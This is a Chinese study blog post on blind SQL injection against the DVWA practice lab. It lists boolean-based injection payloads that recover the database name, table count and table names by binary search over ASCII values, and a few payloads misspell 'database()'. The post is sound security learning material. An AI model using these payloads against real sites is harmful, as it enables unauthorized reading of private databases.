【DVWA(二)】SQL盲注学习心得
简析
在此之前,已经学习了SQL注入,盲注是注入的进一步方法,更接近实战。而且因为“盲”字,注入也变得异常繁琐。本篇将先对DVWA的四个等级的盲注进行学习分析;然后是对盲注方法的学习心得。
在第一篇,我提到过:
习惯上输入1,可以看到返回对应1的数据库中的内容,而且输出三行,分别是
ID:1First name:xxxSurname:xxx具体内容不管,总之第一行是输入的内容,原封不动显示了,二三行是可以我们直接用来显式显示的内容栏。
DVWA - SQL盲注
【1】low
第一步,
习惯输入1,返回User ID exists in the database. 虽然没有展示数据库里面的内容,但是也有反馈,还能接受。
第二步,
输入 1 and 1=2 ,依旧返回存在,可以判定存在注入点。
输入 1' and 1=2 # ,返回miss,到这里就可以判定,可以进行SQL字符型盲注。
第三步,
需要说明一下,这里盲注的基本思路是二分法,因为现在只有exists和miss两个选项,所以只能二分查找,一点点的找,查找的基本步骤跟注入顺序基本一致。现在先猜库名:
1.猜库名的字符长度:
输入 1’ and length(database())=1 # ,显示MISS;
继续加码, 1’ and length(database())=2 # ,依旧MISS;
继续。。。直到 1’ and length(database())=4 # ,显示exists;
猜测成功,长度为4。
2.猜库名第一个字符:
输入 1’ and ascii(substr(databse(),1,1))>97 # ,显示存在,说明第一个是大于 a 的字母;
输入 1’ and ascii(substr(databse(),1,1))<122 # ,显示存在,说明小于 z;
二分 1’ and ascii(substr(databse(),1,1))>109 # ,显示不存在,说明小于 m;
以此类推,最后显示 1’ and ascii(substr(databse(),1,1))>100 # 和 1’ and ascii(substr(databse(),1,1))<100 # 都不存在,说明第一个字母就是ASCII100对应的字母 d 。
3.库名剩余字母:
这个时候我就感觉有点烦了,这样写实在是麻烦,需要用新的方法,而不是再手工猜测,就想到利用python进行盲注攻击。虽然说手工写很cool,并可以熟悉SQL,但是我想还是造工具进步更快一点。这里留坑,计划用python+burp suits,有点像暴力破解,盲注嘛,本来就是暴力一点,等结束暴力破解篇,补上这里。
不过目前还是先继续用二分法获得剩下的库名字符。
第四步,
现在既然知道了库的名字,就该暴表了,与第一篇SQL注入攻击同样的道理,先确定表数量,再确定表名称;下面列出用到的所有注入代码,一行代表一次,注释就是返回结果:
/*确定库里有多少个表*/ 1' and (select count(table_name) from information_schema.tables where table_schema = database())=1# --miss 1' and (select count(table_name) from information_schema.tables where table_schema = database())=2# --exists /*确定第一个表字符长度*/ 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1# --miss 。。。 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 9# --exists /*确定第二个表字符长度*/ 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) = 1# --miss 。。。 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)) = 5# --exists /*确定第一个表第一个字母*/ 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97# --exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) < 122# --exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 109# --miss 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 103# --miss 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100# --exists 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 102# --exists,验证103 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103# --exists /*之后全是这个套路得到两个表的名称guestbook、users*/
第五步,
根据表暴列,同样的道理,试出列的数量,然后每个列试出列名;再根据列名选择试出需要的数据,这里不再赘述。
最后总结:
以下是我觉得需要说明,也是以后提醒自己的几个小点:
- substr函数,不像C系语言里一样,它的第二个参数,是从1开始的,也就是说,假设截取第一位到第四位的str,substr(str, 1, 4);
- ascii函数,在二分法猜字符中经常用到!
- table_name, column_name分别是information_schema中tables和columns的,注意对应,table_schema是查询时where里的表名
- length()函数也可以用大于小于二分法快速找到
- limit(m,n)函数,m从0开始,n是指读取n条
这里是对information_schema的简要说明,值得一读,留坑以后随着学习详细再说。
【2】medium
在上一篇中提到了hackbar的用法,其实这里的medium,跟注入攻击的如出一辙,现在就是把盲注代码,从输入框输入,变成了在post输入,然后执行。如果这里不会,可以到我上一篇的medium那里,有相关解释。
注意记得先用1 'and 1=1#测试一下,看代码是不是注释掉了',如果注释掉了,就把 ‘ 和 # 删除,其他跟low完全一样。
【3】high
这里跟low区别是,输入跟显示不在一个页面,但是不影响注入,跟low一样就行。
这里留坑,对四个难度的源代码进行分析
【4】impossible
impossible等级用的pdo,目前貌似是没法注入
目前找到的方案是关于PDO的,Are PDO safe?,但是现在我还看不懂。。。新坑
推荐博客:
python mysql盲注脚本 - 夜班机器人的博客 - CSDN博客
着两篇内容很有意思。